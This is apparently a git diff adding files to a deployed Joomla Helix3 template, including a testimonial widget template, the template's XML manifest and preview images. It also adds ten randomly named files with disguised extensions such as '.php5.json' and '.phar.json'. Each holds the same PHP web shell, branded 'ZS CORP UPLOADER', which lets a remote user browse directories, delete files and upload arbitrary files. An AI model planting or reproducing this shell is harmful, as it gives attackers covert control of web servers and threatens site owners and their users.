+ _.each(data.sp_testimonialpro_item, function(item,key){
+ let activeClass
+ if (key == 0) {
+ activeClass = "class=active"
+ }else{
+ activeClass = ""
+ }
+ #>
+
+ <# }) #>
+
+ <# } #>
+
+
+
+ <#
+ _.each(data.sp_testimonialpro_item, function(itemSlide, index) {
+ let slideActClass = ""
+ if (index == 0) {
+ slideActClass = " active"
+ } else {
+ slideActClass = ""
+ }
+ #>
+
+
+
+ <# if (!_.isEmpty(itemSlide.avatar)) { #>
+
+ <# } #>
+
+
{{{ itemSlide.message }}}
+
+
+
+
+ <# }) #>
+
+
+ <# if(data.arrows) { #>
+
+
+ <# } #>
+
+
+ ';
+
+ return $output;
+ }
+}
diff --git a/deployed/helix3/templates/shaper_helix3/templateDetails.xml b/deployed/helix3/templates/shaper_helix3/templateDetails.xml
new file mode 100644
index 00000000..d9a13898
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/templateDetails.xml
@@ -0,0 +1,507 @@
+
+
+ shaper_helix3
+ Jan 2016
+ JoomShaper.com
+ support@joomshaper.com
+ http://www.joomshaper.com
+ Copyright (C) 2010 - 2018 JoomShaper.com. All rights reserved.
+ http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later
+ 2.5.5
+ Shaper Helix3 - Starter Template of Helix3 framework
+
+
+ https://www.joomshaper.com/updates/shaper-helix3.xml
+
+
+
+ en-GB.tpl_shaper_helix3.ini
+
+
+
+ title
+ top1
+ top2
+ top3
+ logo
+ menu
+ search
+ slide
+ user1
+ user2
+ user3
+ user4
+ left
+ right
+ feature
+ slider
+ position1
+ position2
+ position3
+ position4
+ position5
+ position6
+ position7
+ position8
+ bottom1
+ bottom2
+ bottom3
+ bottom4
+ breadcrumb
+ footer1
+ footer2
+ comingsoon
+ offcanvas
+ pagebuilder
+ 404
+ debug
+
+
+
+ index.php
+ template_preview.png
+ template_thumbnail.png
+ templateDetails.xml
+ error.php
+ offline.php
+ component.php
+ comingsoon.php
+ css/
+ features/
+ fonts/
+ html/
+ images/
+ js/
+ layout/
+ less/
+ sppagebuilder/
+
+
+
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+ HELIX_PRELOADER_ANIMATION_CIRCLE
+ HELIX_PRELOADER_ANIMATION_DOUBLE_LOOP
+ HELIX_PRELOADER_ANIMATION_WAVE_TWO
+ HELIX_PRELOADER_ANIMATION_AUDIO_WAVE
+ HELIX_PRELOADER_ANIMATION_CIRCLE_TWO
+ HELIX_PRELOADER_ANIMATION_CLOCK
+ HELIX_PRELOADER_ANIMATION_LOGO
+
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_LOGO_TYPE_IMAGE
+ HELIX_LOGO_TYPE_TEXT
+
+
+
+ HELIX_FEATURE_LOAD_POS_DEFAULT
+ HELIX_FEATURE_LOAD_POS_BEFORE
+ HELIX_FEATURE_LOAD_POS_AFTER
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ HELIX_BG_REPEAT_NO
+ HELIX_BG_REPEAT_ALL
+ HELIX_BG_REPEAT_HORIZ
+ HELIX_BG_REPEAT_VERTI
+ HELIX_BG_REPEAT_INHERIT
+
+
+ HELIX_BG_COVER
+ HELIX_BG_CONTAIN
+ HELIX_BG_INHERIT
+
+
+ HELIX_BG_ATTACHMENT_FIXED
+ HELIX_BG_ATTACHMENT_SCROLL
+ HELIX_BG_ATTACHMENT_INHERIT
+
+
+ HELIX_BG_POSITION_LEFT_TOP
+ HELIX_BG_POSITION_LEFT_CENTER
+ HELIX_BG_POSITION_LEFT_BOTTOM
+ HELIX_BG_POSITION_CENTER_TOP
+ HELIX_BG_POSITION_CENTER_CENTER
+ HELIX_BG_POSITION_CENTER_BOTTOM
+ HELIX_BG_POSITION_RIGHT_TOP
+ HELIX_BG_POSITION_RIGHT_CENTER
+ HELIX_BG_POSITION_RIGHT_BOTTOM
+
+
+
+
+
+ HELIX_SHOW
+ HELIX_HIDE
+
+
+
+
+ HELIX_FEATURE_LOAD_POS_DEFAULT
+ HELIX_FEATURE_LOAD_POS_BEFORE
+ HELIX_FEATURE_LOAD_POS_AFTER
+
+
+
+
+
+
+
+ HELIX_SHOW
+ HELIX_HIDE
+
+
+
+ HELIX_FEATURE_LOAD_POS_DEFAULT
+ HELIX_FEATURE_LOAD_POS_BEFORE
+ HELIX_FEATURE_LOAD_POS_AFTER
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ HELIX_NO
+ HELIX_YES
+
+
+
+
+
+
+
+
+
+
+ HELIX_NO
+ HELIX_YES
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ HELIX_OFFANIMATION_DEFAULT
+ HELIX_OFFANIMATION_FULLSCREEN
+ HELIX_OFFANIMATION_FULLSCREEN_FROM_TOP
+ HELIX_OFFANIMATION_SLIDE_RIGHT
+ HELIX_OFFANIMATION_DARK_PLUS
+
+
+
+
+
+
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+
+
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+ HELIX_YES
+ HELIX_NO
+
+
+
+
+ HELIX_BLOG_LIST_IMAGE_DEFAULT
+ HELIX_BLOG_LIST_IMAGE_SMALL
+ HELIX_BLOG_LIST_IMAGE_THUMBNAIL
+ HELIX_BLOG_LIST_IMAGE_MEDIUM
+ HELIX_BLOG_LIST_IMAGE_LARGE
+
+
+
+
+
+
+
diff --git a/deployed/helix3/templates/shaper_helix3/template_preview.png b/deployed/helix3/templates/shaper_helix3/template_preview.png
new file mode 100644
index 00000000..8dd91781
Binary files /dev/null and b/deployed/helix3/templates/shaper_helix3/template_preview.png differ
diff --git a/deployed/helix3/templates/shaper_helix3/template_thumbnail.png b/deployed/helix3/templates/shaper_helix3/template_thumbnail.png
new file mode 100644
index 00000000..056a668d
Binary files /dev/null and b/deployed/helix3/templates/shaper_helix3/template_thumbnail.png differ
diff --git a/deployed/helix3/templates/shaper_helix3/zscqyqr7.inc.json b/deployed/helix3/templates/shaper_helix3/zscqyqr7.inc.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zscqyqr7.inc.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/zscqyqr7.phar.json b/deployed/helix3/templates/shaper_helix3/zscqyqr7.phar.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zscqyqr7.phar.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/zscqyqr7.php3.json b/deployed/helix3/templates/shaper_helix3/zscqyqr7.php3.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zscqyqr7.php3.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/zscqyqr7.php4.json b/deployed/helix3/templates/shaper_helix3/zscqyqr7.php4.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zscqyqr7.php4.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/zscqyqr7.php5.json b/deployed/helix3/templates/shaper_helix3/zscqyqr7.php5.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zscqyqr7.php5.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/zseqn0yx.inc.json b/deployed/helix3/templates/shaper_helix3/zseqn0yx.inc.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zseqn0yx.inc.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/zseqn0yx.phar.json b/deployed/helix3/templates/shaper_helix3/zseqn0yx.phar.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zseqn0yx.phar.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/zseqn0yx.php3.json b/deployed/helix3/templates/shaper_helix3/zseqn0yx.php3.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zseqn0yx.php3.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/zseqn0yx.php4.json b/deployed/helix3/templates/shaper_helix3/zseqn0yx.php4.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zseqn0yx.php4.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/zseqn0yx.php5.json b/deployed/helix3/templates/shaper_helix3/zseqn0yx.php5.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/zseqn0yx.php5.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
+ item->numOfComments; ?> item->numOfComments>1) ? JText::_('K2_COMMENTS') : JText::_('K2_COMMENT'); ?> +
+ +userName); ?>
+ commentDate, JText::_('K2_DATE_FORMAT_LC2')); ?> +commentText; ?>
+